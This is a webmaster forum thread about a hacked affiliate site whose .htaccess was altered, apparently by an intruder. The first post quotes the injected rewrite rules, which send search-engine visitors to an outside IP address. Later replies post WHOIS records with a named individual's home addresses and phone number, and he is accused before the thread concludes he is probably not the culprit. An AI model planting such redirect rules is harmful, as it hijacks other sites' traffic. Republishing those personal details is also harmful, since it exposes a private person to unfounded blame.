Hacked affiliate sites

[ron66]

Hello

Can anybody help me finding out who is been hacking my sites.

The websmaster of this website http://www.casinobonus4u.com/main.html?ref=7s
Or
http://www.casinobonus4u.com/

Has hacked my server and had added my htaccess file with this piece of script,

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://91.203.71.19/ppc.php [R,L]

Every search in Google or any other search engine mentioned above, redirected the visitors to his websites.

On one of his sites he has even a banner of jackpotcity.com
But he has hide his affiliates codes.

Can somebody tell me who this affiliate is?

(NOTE) Have written a mail to Blue Square Ltd who owns Mecca bingo. And told them what one of there affiliates is doing
Hope to get an answer from them on monday. Thanks for the help so far from you guys. I keep you posted about this.

[Webzcas]

Whois Record: http://whois.domaintools.com/casinobonus4u.com

Registrant:
Ivan Velychko
368 Dowson Loop
Newmarket, Ontario L3X3G3
CA

Registrar: DOMAINBANK
Domain Name: CASINOBONUS4U.COM
Created on: 02-JAN-01
Expires on: 02-JAN-11
Last Updated on: 03-FEB-09

Administrative, Technical Contact:
Velychko, Ivan
368 Dowson Loop
Newmarket, Ontario L3X3G3
CA
416-219-7217

Domain servers in listed order:
NS3.POWWEB.COM
NS1.POWWEB.COM

[Chalkie]

There is his Aff ID

removed until proof of the facts are established

[Chalkie]

removed until proof of the facts are established

[thepokerkeep]

http://whois.domaintools.com/nodepositcasino.net
More info on sites he owns.

[pgaming]

I am very familiar with the site in question. However, would it be possible to clarify "hack." What does this mean?

pgaming/ shaddy

[thepokerkeep]

He also owns:
Registrant:
Ivan Velychko
15 Loudon cres
Thornhill, ON L4J8N4
CA

Domain Name: FASTFREECASH.NET

_________________

Registrant:
casinopresent.com
368 Dowson Loop
Newmarket, Ontario L3X 3G3
CA

Domain name: CASINOPRESENT.COM


Administrative Contact:
Velychko, Ivan
368 Dowson Loop
Newmarket, Ontario L3X 3G3
CA
4162197217
Technical Contact:
Velychko, Ivan
368 Dowson Loop
Newmarket, Ontario L3X 3G3
CA
4162197217

[ron66]

With hacked I mean that he has stolen my hosting identity and passwords (somehow?) and changed the htaccess file in such a way that all traffic going to my websites was redirected to one of his sites. This is been checked by the hosting provider and they have seen that the IP address is from a place in the USA.

I am very familiar with the site in question. However, would it be possible to clarify "hack." What does this mean?

pgaming/ shaddy

[casinobonusguy]

hey guys
Ivan was to our event in Niagara Falls and totally does nto sound like something he will do.I am emailing him with the thread link so he read this.

Judy

[slotplayer]

that's a virus, I was reading about it last may when I had a virus
here is more info

http://blog.javacoolsoftware.com/200...edirect-hacks/

[universal4]

To clarify this,

What research led you to believe that the domains you posted were involved in any way?

The htaccess file leads to an ip address and the page I see at that address does not appear on the surface to be connected to the domains you listed.

The page I see there today has 4 ads on it, 2 for Bestcasino properties and 2 for Clubworld properties.

It appears that may be ppc ads from a feed and if so, even having the affiliate id's does not necessarily lead to the person behind the htaccess file.

I would very much to also help expose the scumbag behind the htaccess file change, but let's be careful NOT to point fingers at the wrong individuals.

Rick
Universal4

[Chalkie]

To clarify this,

What research led you to believe that the domains you posted were involved in any way?

The htaccess file leads to an ip address and the page I see at that address does not appear on the surface to be connected to the domains you listed.

The page I see there today has 4 ads on it, 2 for Bestcasino properties and 2 for Clubworld properties.

It appears that may be ppc ads from a feed and if so, even having the affiliate id's does not necessarily lead to the person behind the htaccess file.

I would very much to also help expose the scumbag behind the htaccess file change, but let's be careful NOT to point fingers at the wrong individuals.

Rick
Universal4

I have removed the info regarding aff id's

I think the op needs to prove this, not sure how now as no doubt the ht access file has been corrected.

Rick, He states that his site was redirected to the site in question

the first post is pretty clear in what has happened

Are you saying that even if it was redirected there that it may not be the work of the site in question?

[universal4]

What I stated was, I would like to know what info or research led him to the conclusion that the domains he posted were involved in ANY way.

Was there more than one htaccess file?

Was the htaccess file that he posted the only portion of the research?

Did the htaccess file originally point to one of the domains in question?

If in fact the page that was listed in the htaccess file is a feed (or dynamic page) of advertisers, then anyone that would buy an ad from that ad network could end up on that page (in theory at least).

I just feel that the pointing of fingers (so far with the facts as I have seen thus far) can only be pointed at whoever is in control of the ip address listed in the htaccess file.

And even then, the whatif scenario that also ha to be considered, "whatif the ip in question has also been hacked and the php page listed has been placed there without the knowledge of the person in control of the said ip?"

Now, what we need to know, who is earning revenue from the ppc ads placed ON THAT PAGE as this is the most likely suspect in the above scenarios so far. (not the owner of the ads themselves)

Rick
Universal4

[Dominique]

Agreed, it will take a lot more sleuthing to find who is behind this, it's not that simple this time.

Very interesting situation, and I hope we are able to clear this up so we all can be on the lookout.

[Chalkie]

Rick, now with you and your line of thinking.

I just followed the fact stated by the guy, as i presume most did

Now you make the points you do, i follow what you are saying

seems this is could turn out to be quite complicated to figure and the original accused is probably innocent.

Hopefully he may be able to shed some light and you may be able to come up with some ideas too

[elgoog]

all links on this ip RewriteRule .* xxhttp://91.203.71.19/ppc.php [R,L]
now redirect to google.com for me......
but going through a proxy it does not....
i am from the Netherlands/Holland also

so the owner/hacker of xxhttp://91.203.71.19/ppc.php is knowing what he is doing and looks acting guilty

[casinobonusguy]

So what is the situation here?I sent Ivan an email no clue if he has received it or not.

judy

[elgoog]

redirect to google.com (from the Netharlands) has been taken off

[IV]

Hi.
I am owner of casinobonus4u.com. I am over 10 years in this business and I never heard more stupid thing like this. It looks like this guy ron66 new in this business and does not understand anything how seo companies work. I buy traffic from different seo companies who redirect search engines traffic to my site. This is paid traffic. I do not need to hack any sites or search engines. I just pay money for traffic. That's it.
I hide some affiliate id for seo purposes, lots of affiliates are doing same.
ron66 should contact his hosting company if he has any problem with his server.
ron66 should think before send any messages.

[Chalkie]

I think he jumped the gun and added 2 + 2 getting 5

There is an issue somewhere, however, clearly you are not the culprit

Seems that someone else has done this to earn from PPC

No one believes you to be at fault now, however, it would be good to catch the real culprit.